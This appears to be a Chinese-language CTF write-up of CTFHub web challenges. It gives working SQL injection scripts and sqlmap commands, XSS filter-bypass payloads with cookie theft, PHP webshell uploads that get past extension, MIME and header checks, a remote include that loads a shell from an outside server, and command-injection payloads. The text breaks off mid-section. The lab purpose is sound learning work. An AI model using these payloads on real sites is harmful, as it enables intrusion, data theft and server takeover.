burp0_headers = {"User-Agent": UA, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
print(requests.get(burp0_url, headers=burp0_headers).text)
脚本运行结果
脚本运行结果
burp render
burp render

照例,还是试了一下sqlmap,我才发现sqlmap原来这么好用。

代码语言:javascript
复制
python3 sqlmap.py -u "http://challenge-c1afe7c2c2a76623.sandbox.ctfhub.com:10800/" --level 3

只是设置了level为3,其他什么都不给。结果一上来就提示UA是动态的,可注入。

开局UA可注入
开局UA可注入
sqlmap提示结果
sqlmap提示结果

它提示在UA这个参数这里有两种可能的注入,一种是时间盲注,一种是union联合注入,还都出了payload。

这确实非常强。为什么这里时间盲注也可以呢?这相当于不看页面的回显,直接用响应时间来判断,这么想来是不是大部分的sql注入都适合时间盲注2333。

当然自己注入的话,肯定会选择十分简单的union联合注入。

代码语言:javascript
复制
python3 sqlmap.py -u "http://challenge-c1afe7c2c2a76623.sandbox.ctfhub.com:10800/" --level 3 -D sqli -T cqomjcukck --columns

sqlmap get flag
sqlmap get flag

而且sqlmap有一个非常牛逼的点,它每次运行完都会把该网站的结果存在某个文件中,下次深入获得信息的时候会直接从文件中读取之前取得的成果,而不用从头开始,这大大提高了效率。

Refer注入

和Cookie注入和UA注入类似,不多说了,只是换了一个地方。

代码语言:javascript
复制
import requests

burp0_url = "http://challenge-49bfa8cdc6c5744d.sandbox.ctfhub.com:10800/"
# referer = "1 and 1=2 union select 1, database()"
# referer = "1 and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'sqli'"
# referer = "1 and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'sngrgwaxpk'"
referer = "1 and 1=2 union select 1, lwwwrezxpx from sngrgwaxpk"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Referer": referer}

print(requests.get(burp0_url, headers=burp0_headers).text)
refer flag
refer flag
burp refer flag
burp refer flag

这道题貌似sqlmap就不太好使了。

代码语言:javascript
复制
python3 sqlmap.py -u http://challenge-49bfa8cdc6c5744d.sandbox.ctfhub.com:10800/ --level 3

sqlmap结果
sqlmap结果

它发现了Referer是脆弱的,但是只检查出了时间盲注,没有检查出union注入。之后的时间盲注也一直失败。

sqlmap time-based blind
sqlmap time-based blind

当然也可能是我在中途选则选项的时候没有选好2333。

过滤空格

这道题过滤了空格,可以用注释符/**/来代替空格。

代码语言:javascript
复制
import requests
from urllib.parse import quote
burp0_url = "http://challenge-b018c199badc637a.sandbox.ctfhub.com:10800/?id="
# id = "1/**/and/**/1=2/**/union/**/select/**/1,database()"
# id = "1/**/and/**/1=2/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/'sqli'"
# id = "1/**/and/**/1=2/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/'lsoupzeglx'"
id = "1/**/and/**/1=2/**/union/**/select/**/1,pqmtlqzjwp/**/from/**/lsoupzeglx"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://challenge-b018c199badc637a.sandbox.ctfhub.com:10800/?id=1", "Upgrade-Insecure-Requests": "1"}
print(requests.get(burp0_url + quote(id), headers=burp0_headers).text)

space flag
space flag

按理说用括号来代替也可以,但是括号的替换难度较大,可能我的姿势不对,没有成功。

用sqlmap的时候发现了一个功能,sqlmap原始的payload尝试应该都是用的空格来分隔的,所以它就会返回id不可注入的结果。

查阅资料后发现sqlmap有个叫做tamper的功能。实际上就是在tamper文件夹下有一些脚本。

tamper脚本
tamper脚本

这道题里就可以使用里面的space2comment.py脚本,把空格转化为注释符。

代码语言:javascript
复制
python3 sqlmap.py -u "http://challenge-b018c199badc637a.sandbox.ctfhub.com:10800/?id=1" -p id --level 3 --tamper="space2comment.py"

运行后就可以发现sqlmap已经可以发现注入点了。

注入点发现
注入点发现

虽然是时间盲注2333,可能sqlmap对页面的具体内容很难进行判断,无法在页面上获得succcess_flag,对它来说用页面相应的时间来说还更简单了2333。

到这里ctfhub的sql注入题目就做完了。

ctfhub sql注入
ctfhub sql注入

XSS

反射型

本来看ctfhub上有xss的题目,打算好好学习一波,结果点开一看,只有一道题2333。

便现在dvwa上熟悉了一波。所谓反射型是相对于存储型来讲的。

如果黑客的xss注入是通过某种方式储存到了数据库中,那就是存储型的,这种xss的特点就是每次访问该页面都会收到xss攻击,因为js语句已经放在数据库里了。

而反射型xss则不是这样,每次触发只能手动输入和点击才能触发。

我认为xss产生的原因主要是对html标签审查不严格造成的。

下面写一下dvwa中的三种难度的反射型xss。

代码语言:javascript
复制
<?php
// Low难度
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

这里没有对输入$_GET['name']做任何限制,我们完全可以在这个变量里写一个script标签。

xss low
xss low
成功弹出
成功弹出
代码语言:javascript
复制
<?php
// Medium 难度
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?>

这里把输入里的<script>替换为了空字符。但是这里是大小写敏感的,我们完全可以大写绕过。

代码语言:javascript
复制
<Script>alert("medium")</script>

medium
medium
medium xss
medium xss

或者双拼绕过。

代码语言:javascript
复制
<scri<script>pt>alert("medium")</script>
代码语言:javascript
复制
<?php
// High 难度
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?>

最高难度用了正则匹配,并且大小写不敏感。上面两种方法都失效了。

但是它只过滤了script标签这种xss,还可以利用img标签报错来实现弹窗。

代码语言:javascript
复制
<img src=0 onerror=alert("high")>

high xss
high xss

然后我便开始做ctfhub的题目了。我试了一下,发现它没有任何验证,可以直接xss。

ctfhub xss
ctfhub xss
xss
xss

但是我不知道flag会藏在哪里,xss的作用只是操控js,会不会藏在cookie里呢?

cookie?
cookie?
没有flag
没有flag

很不幸,没有flag。我陷入了人生和社会的大思考。

最终没法,看了writeup。发现需要利用到第二个输入框。

第二个输入框
第二个输入框

第二个输入框点击send之后就会显示successfully,但是这个它发送到哪里无法确定,这个网页用到Bootstrap,我不太熟悉。这可以肯定的是它有一个后端。

然后可以利用xss platform来进行获得它与后端的信息。

在xss platform里新建一个项目然后复制其中的实例代码。

xss-platform
xss-platform

把payload在第一个输入框提交,然后复制url到第二个输入框提交后,就会在xss platform里得到相应。

大体情况
大体情况
cookie中的flag
cookie中的flag

下面进行战术总结

我们一开始直接用xss来看cookie,发现没有flag。我一开始觉得奇怪,觉得flag就应该藏到这个地方,不然还能藏哪呢?

我这里犯了一个原则性的错误。我们用xss一般的用途是什么?是获取cookie嘛?

是获取cookie,但更准确的说,是获取别人的cookie。

cookie相当于每个人的登录凭证,如果得到了别人的cookie,我们将可以不用输账号密码,直接登录。

所以flag一定是不可能藏在自己的cookie里的,自己的cookie没有意义,自己的cookie能直接浏览器控制台里知道,也不需要xss。ctf的题目应该是让我们获得别人的cookie,但是这是ctf的题目,不是公共的服务,没有其他用户,所以ctf模拟了一个机器人。

bot
bot

那就很清楚了,我们的目标就是获得这个机器人的Cookie,然后"盗它的号",所以获取了这个机器人的Cookie就意味着成功。所以理所应当的,flag也就藏在cookie里了。

所以第二个文本框就是模拟别人点击这个包含xss的链接的情形。

文件上传

无验证

最简单的文件上传,传个php一句话木马即可。

代码语言:javascript
复制
<?php @eval($_POST['wuuconix']); ?>

上传成功
上传成功

之后用蚁剑连接就可以得到flag啦!

antsword flag
antsword flag

前端验证

网页源码

代码语言:javascript
复制
<body>
    <h1>CTFHub 文件上传 - js前端验证</h1>
    <form action="" method="post" enctype="multipart/form-data" onsubmit="return checkfilesuffix()">
        <label for="file">Filename:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>
<script>
function checkfilesuffix()
{
    var file=document.getElementsByName('file')[0]['value'];
    if(file==""||file==null)
    {
        alert("请添加上传文件");
        return false;
    }
    else
    {
        var whitelist=new Array(".jpg",".png",".gif");
        var file_suffix=file.substring(file.lastIndexOf("."));
        if(whitelist.indexOf(file_suffix) == -1)
        {
            alert("该文件不允许上传");
            return false;
        }
    }
}
</script>
</body>

发现它在上传文件时调用了一个函数,这个函数只允许上传三种图片格式的文件。

这但是在前端验证,我们用burp抓包,先给它传一个2.jpg,先过前端验证,然后前端向后端请求的包会被burp抓到,这时候在请求包里包把文件名改成2.php就实现绕过前端验证并传马啦!

下面是原始请求包[节选]

代码语言:javascript
复制
-----------------------------27707769729801775931606292902
Content-Disposition: form-data; name="file"; filename="2.jpg"
Content-Type: image/jpeg

<?php @eval($_POST['wuuconix']); ?>
-----------------------------27707769729801775931606292902
Content-Disposition: form-data; name="submit"

Submit
-----------------------------27707769729801775931606292902--

我们只要把文件名改成以下即可。

代码语言:javascript
复制
-----------------------------27707769729801775931606292902
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: image/jpeg

<?php @eval($_POST['wuuconix']); ?>
-----------------------------27707769729801775931606292902
Content-Disposition: form-data; name="submit"

Submit
-----------------------------27707769729801775931606292902--

成功上传并连接。

antsword连接
antsword连接

这也证明了一个事情,就是请求包里的Content-Type不改也行,只要后缀名是php,就能发挥它的职能,这个Content-Type应该只是传输过程中给服务器端的提示罢了,如果服务器端没有对该属性进行处理,那么它就是无效的。如果后台对这个Content-Type做了某种验证的话,我们就必须也得改了。

这是一种做法,既然验证代码在前端 ,可不可以直接把script标签删掉来绕过前端验证呢?

我试了一下,直接在源代码里把script标签删掉是掩耳盗铃,不能实现效果。但是如果利用Burp修改题目的Response,在相应里直接把script标签删掉就能够实现。

一般情况下Burp只是代理我们的请求,我还没有试过代理相应。

设置如下图。

Burp代理相应
Burp代理相应

然后刷新一下页面,Forward一下,让自己的请求先发出去,然后你就会看到服务器的相应了。

Burp实现代理相应
Burp实现代理相应

在这个相应里把script标签删掉。

这时渲染出来的页面就是真真切切没有script标签的了。

源代码
源代码

能够直接上传php木马了。

.htaccess

题目在注释中给出了后端php的代码

代码语言:javascript
复制
if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $ext = pathinfo($name)['extension'];
    $blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
    if (!in_array($ext, $blacklist)) {
        if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
            echo "<script>alert('上传成功')</script>";
            echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "<script>alert('文件类型不匹配')</script>";
    }
}

在后端把一些常见的木马后缀全部ban掉了,而且因为是后端验证,前端怎么改也没用。

这里就需要用到.htaccess,它是apcache中的配置文件。我们可以利用它实现把.jpg格式的文件拥有php脚本的能力。

一般有两种写法。

代码语言:javascript
复制
AddType application/x-httpd-php .jpg
代码语言:javascript
复制
<FilesMatch ".jpg">
	SetHandler application/x-httpd-php
</FilesMatch>

所以只要先长传一个后缀在黑名单之外的.htaccess文件,让.jpg拥有也可以变为php脚本 ,再上传一个内部写有一句话木马的1.jpg,就能够挂马了。

antsword
antsword
flag
flag

MIME绕过

MIME是什么呢?上一篇.htaccess中出现的application/x-httpd-php其实就属于MIME的一种未被官方承认的类型。

MIME:Multipurpose Internet Mail Extensions 中文专业名称为多用途互联网邮件扩展。

原来的邮件只支持7位ASCII字符集以内的字符,而MIME的提出则支持了其他的字符,甚至支持了图像、视频、音频等二进制文件。

Content-Type
Content-Type

我们在http请求报文中看到的Content-Type字段就是用来提供发送文件的MIME类型的。以下列出常用的MIME类型。

  • text/plain(纯文本
  • text/html(HTML文档)
  • application/xhtml+xml(XHTML文档)
  • image/gif(GIF图像)
  • image/jpeg(JPEG图像)【PHP中为:image/pjpeg】
  • image/png(PNG图像)【PHP中为:image/x-png】
  • video/mpeg(MPEG动画)
  • application/octet-stream(任意的二进制数据)
  • application/pdf(PDF文档)
  • application/msword(Microsoft Word文件)
  • application/vnd.wap.xhtml+xml (wap1.0+)
  • application/xhtml+xml (wap2.0+)
  • message/rfc822(RFC 822形式)
  • multipart/alternative(HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示)
  • application/x-www-form-urlencoded(使用HTTP的POST方法提交的表单)
  • multipart/form-data(同上,但主要用于表单提交时伴随文件上传的场合)

此外,尚未被接受为正式数据类型的subtype,可以使用x-开始的独立名称(例如application/x-gzip)。vnd-开始的固有名称也可以使用(例:application/vnd.ms-excel)

​ 在这道题里就是对文件的Content-Type类型做了限制,而没有对后缀名做任何限制。题目php源代码如下。

代码语言:javascript
复制
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/");
define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
if (!file_exists(UPLOAD_PATH)) {
    mkdir(UPLOAD_PATH, 0755);
}
if (!empty($_POST['submit'])) {
    if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/png", "image/gif", "image/jpg"])) {
        echo "<script>alert('文件类型不正确')</script>";
    } else {
        $name = basename($_FILES['file']['name']);
        if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
            echo "<script>alert('上传成功')</script>";
            echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    }
}
?>

所以我们只需要传一个1.php,然后发送的时候用burp把Content-Type改成其中一个就行啦!

burp修改Content-Type成功上传
burp修改Content-Type成功上传
antsword flag
antsword flag

文件头检查

听题目就可以看出来后台对文件的文件头做了检测。只支持图片。

我做题的姿势非常骚气。

首先利用python的pillow模块生成了一个1*1像素的png文件。

代码语言:javascript
复制
from PIL import Image

img = Image.new("RGB", (1,1), "png")
with open ("red.png", "wb") as f:
    img.save(f)

然后上传,顺便用Burp拦截。

这是原始请求头。

原始请求头
原始请求头

图中乱码的部分应该就是二进制图片的内容。这时我们我们先把文件名改成red.php,再在图片二进制内容的后面加上一句话木马。

修改后
修改后

然后就能直接蚁剑连接了。顺便把它的源码偷过来以后用2333。

antsword
antsword
代码语言:javascript
复制
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/");
define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
if (!file_exists(UPLOAD_PATH)) {
    mkdir(UPLOAD_PATH, 0755);
}

if (!empty($_POST['submit'])) {
    if (!$_FILES['file']['size']) {
        echo "<script>alert('请添加上传文件')</script>";
    } else {
        $file = fopen($_FILES['file']['tmp_name'], "rb");
        $bin = fread($file, 4);
        fclose($file);
        if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/jpg", "image/png", "image/gif"])) {
            echo "<script>alert('文件类型不正确, 只允许上传 jpeg jpg png gif 类型的文件')</script>";
        } else if (!in_array(bin2hex($bin), ["89504E47", "FFD8FFE0", "47494638"])) {
            echo "<script>alert('文件错误')</script>";
        } else {
            $name = basename($_FILES['file']['name']);
            if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
                echo "<script>alert('上传成功')</script>";
                echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
            } else {
                echo "<script>alert('上传失败')</script>";
            }
        }
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>CTFHub 文件上传 - 文件头检测</title>
</head>
<body>
    <h1>CTFHub 文件上传 - 文件头检测</h1>
    <form action="" method="post" enctype="multipart/form-data">
        <label for="file">Filename:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>
    </form>
</body>
</html>

00截断

00截断真的十分玄学。

首先我们来看一下这道题的源码。注:服务器的php版本为5.2.17, magic_quotes_gpc为off状态。

代码语言:javascript
复制
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);

//设置上传目录
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/");
define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));

if (!file_exists(UPLOAD_PATH)) {
    mkdir(UPLOAD_PATH, 0755);
}

if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $info = pathinfo($name);
    $ext = $info['extension'];
    $whitelist = array("jpg", "png", "gif");
    if (in_array($ext, $whitelist)) {
        $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
        if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
            echo "<script>alert('上传成功')</script>";
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "文件类型不匹配";
    }
}

?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>CTFHub 文件上传 - 00截断</title>
</head>
<body>
    <h1>CTFHub 文件上传 - 00截断</h1>
    <form action=<?php echo "?road=" . UPLOAD_PATH; ?> method="post" enctype="multipart/form-data">
        <label for="file">Filename:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>
</body>
</html>

它首先对上传的文件的后缀进行检测,只能是三个图片文件格式。

此外对文件进行存储的时候对文件名进行重命名,在保留原后缀名的情况下把文件名淦成随机的,首先在10-99里选一个数,再加上上传时间,这个上传时间还精确到毫秒2333,十分变态。上传了一个文件你甚至都不知道它的路径,十分绝望。

存储的路径是这样组成的des = _GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." .

这里我们可以利用远古php版本有的一个00截断,手动把这个road参数改成

代码语言:javascript
复制
/var/www/html/upload/1.php%00.jpg

改动这个road参数不会对文件上传这个过程产生影响。

服务器那边接受到的文件还是为1.php%00.jpg,服务器一检查后缀,哦,是.jpg,在白名单内,接下去进行存储。

按理说存储的路径应该是upload/1.php%00.jpg/5020210902203850.jpg

但是%00之后的所有东西都被截断了,那些随机数和时间全部失效,最终存储的文件就变成了upload/1.php

payload
payload
antsword
antsword
flag
flag

这个00截取和我一开始想象的不一样。我以为在上传过程中会直接%00后面字符全部丢掉,服务接收到的只是%00之前的内容。

但是其实不是,服务器会原样的接收该文件,只是在某些操作下,%00后面的字符会失效,但这些操作都有哪些,还不得而知。

试了好多php镜像,都无法复现。以后再说吧。

双写后缀

这道题就比00截断简单多了,我们先看一下题目给我们的提示。

代码语言:javascript
复制
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);

显然,它对我们上传的文件名中的特定字符进行了替换,但是这种替换实际上是不安全的,双拼即可绕过。例子如下。

双拼绕过例子
双拼绕过例子

所以我们只要上传一个1.pphphp。经过它的处理后就变成了1.php

1.php成功上传
1.php成功上传

然后蚁剑连接即可。

flag
flag

顺便把它的源码偷下来以后用2333。

代码语言:javascript
复制
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/");
define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
if (!file_exists(UPLOAD_PATH)) {
    mkdir(UPLOAD_PATH, 0755);
}
if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
    $name = str_ireplace($blacklist, "", $name);
    if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
        echo "<script>alert('上传成功')</script>";
        echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
    } else {
        echo "<script>alert('上传失败')</script>";
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>CTFHub 文件上传——双写绕过</title>
</head>
<body>
    <h1>CTFHub 文件上传——双写绕过</h1>
    <form action="" method="post" enctype="multipart/form-data">
        <label for="file">Filename:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>
    <p></p>
</body>
</html>
<!--
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
-->

RCE

eval执行

题目如下

代码语言:javascript
复制
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

我看了一眼,这不就是php一句话木马嘛2333。直接蚁剑连接了,很快得到了flag。

antsword flag
antsword flag

然后我局的的还是得手动输入命令来得到flag。我是这样试的。

代码语言:javascript
复制
/index.php?cmd=ls

但是页面一片空白2333。

后来我才意识到,php中的eval函数是用来执行php里的函数的,相当于把一个字符串运行。但是这个ls可不是php里的函数,需要利用system函数来调用linux系统命令。

代码语言:javascript
复制
/index.php?cmd=system("ls")

结果还是不行。我再次陷入了人生和社会的大思考。

看了官方wp之后才知道eval里面的字符串需要满足一个完整的php语句的要求。即;结尾。

忘记分号这件事实际上一直在发生,在php交互式终端如果你不输分号的话是不会有任何结果的。

echo 1
echo 1

只有输入分号,作为一条完整的php语句的时候才有结果。

echo 1;
echo 1;

同理eval里面的语句也必须要有分号。你不输分号它甚至会报错2333。

eval
eval

接下来就简单啦。

ls /
ls /
cat /flag
cat /flag

文件包含

这道题也十分简单。主要的考点是include。在php中利用该函数可以将其他文件引入当前php文件。

我之前以为引入的文件只能是php文件,现在看来根本没有这种限制,只要你被引入的文件里有php语句就能正常发挥作用,具体的文件后缀是没有影响的。

比如下面的例子 ,我引入了一个test.txt也能够正常的发挥作用。

test.txt
test.txt
phpinfo
phpinfo

那我们再来看看这道题。

题目1
题目1
题目2
题目2

它提供了一个木马txt文件,同时还提供了file参数来引入文件,很显然我们只要这样就能样index.php变成一句话木马。

代码语言:javascript
复制
index.php?file=shell.txt

我本来以为蚁剑这样是连不上的,结果强大的蚁剑迅速理解了意思,成功连接。

antsword
antsword

那如何手动get flag呢?只需要继续添加ctfhub参数即可。

代码语言:javascript
复制
index.php?file=shell.txt&ctfhub=system("cat /flag");

直接在浏览器输入以上payload即可,至于那个空格 浏览器会自动进行url编码,成为%20

手动ctf
手动ctf

偷源码233

代码语言:javascript
复制
<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

php://input

题目提示

代码语言:javascript
复制
<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>

题目题目我们给file变量传一个php://input

php://input生效的条件为:

在php.ini中的allow_url_fopenallow_url_include全部开启。

这个php://input支持post方式传输的数据流的输入。我们可以用post方式传值。

因为源代码把我们输入的代码include的了,相当于我们写的php代码将直接在题目中发挥作用。

我么这里直接写一个

代码语言:javascript
复制
<?php system("ls /"); ?>

来看一看根目录下的文件们。

post 传值
post 传值

很顺利的找到了flag。cat即可。

ctf
ctf

再把源码偷下来233。

代码语言:javascript
复制
<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>

远程包含

php 的include在以下条件下可以引入一个url文件。

在php.ini中的allow_url_fopenallow_url_include全部开启。

观察题目给出的phpinfo

allow_url_include
allow_url_include

符合条件。

于是我在我的阿**服务器上开了一个服务。

远程shell.txt
远程shell.txt

然后把这个url include就可以了。

代码语言:javascript
复制
http://challenge-085d74ac724ca4c9.sandbox.ctfhub.com:10800/?file=https://emu.wuuconix.link/shell.txt

然后就可以连接蚁剑啦!

antsword
antsword

同时我们可以发现url include一个文件和php://input生效的条件是一模一样的。所以在没有手动限制的情况下, 这其中一个可用,就说明另一个也可用。所以我们在这道题里同样可以使用上一道题php://input的做法。

生效条件一样也非常好理解。php://input能够支持用户post传的值,这对于服务器本身而言,就是外界url的文本嘛2333,相当于引入了一个url文件。故两者生效条件一致。

input
input

题目源代码

代码语言:javascript
复制
<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>

读取源代码

页面提示flag在/flag里。

php://input失效了。

作者应该是在php.ini中关掉了allow_url_fopenallow_url_include中的一个获得都关了233。

php://input从本质上讲是从外界url中获取文本,所以需要这两个开关保持开启。

但是php://filter作用的对象是本地【一般我们用来都index.php嘛2333】,不需要开启这两个就可以生效。

遂用php://filter/read=convert.base64-encode/resource=来直接读取flag的内容。

代码语言:javascript
复制
http://challenge-07841d369bc23ed5.sandbox.ctfhub.com:10800/index.php?file=php://filter/read=convert.base64-encode/resource=../../../../../../../flag

得到

得到base64加密后的flag
得到base64加密后的flag

解码后得到flag。

base64解码
base64解码

题目源码

代码语言:javascript
复制
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>

命令注入

很常见的命令联合执行的题。

源代码

代码语言:javascript
复制
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-无过滤</title>
</head>
<body>
<h1>CTFHub 命令注入-无过滤</h1>
<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>

在文本框中输入完ip之后利用分号分割再加入其他命令,最后的$cmd就会长成这样

代码语言:javascript
复制
ping -c 4 127.0.0.1;ls

然后调用exec进行执行系统函数的时候就会把两句命令一起执行了。

;ls
;ls
ctf?
ctf?

cat那个命令后没有出来flag,在源代码中。

ctf
ctf

至于为什么不能直接在网页中看到大概是因为<?php这种标签在html中的特定作用。

看了wp,了解到了可以这样,把文本进行一层base64加密,这样就能直接在网页里出来了。当然之后还需要手动解密。

代码语言:javascript
复制
127.0.0.0; cat flag | base64

base64
base64

过滤cat

部分源码

代码语言:javascript
复制
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

这里注意一下php中的preg_match_all函数。它是用来匹配正则表达式的,并且将字符串中所有匹配的符合结果存在一个列表中。例子如下。

preg_match_all
preg_match_all

然后我们发现题目中过滤了cat。首先我们看看flag在哪。ls一下就出来了。

flag
flag

很久以前我看到的一个命令,就是tac。很显然这个命令就是cat反过来的单词。它的实际效果也和它的名字一致。貌似就是把文本的最后一行先打印,从下往上打印。效果如下。

tac
tac

所以这里我们直接用tac来读flag就行啦2333。

ctf
ctf

过滤空格

部分源码

代码语言:javascript
复制
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
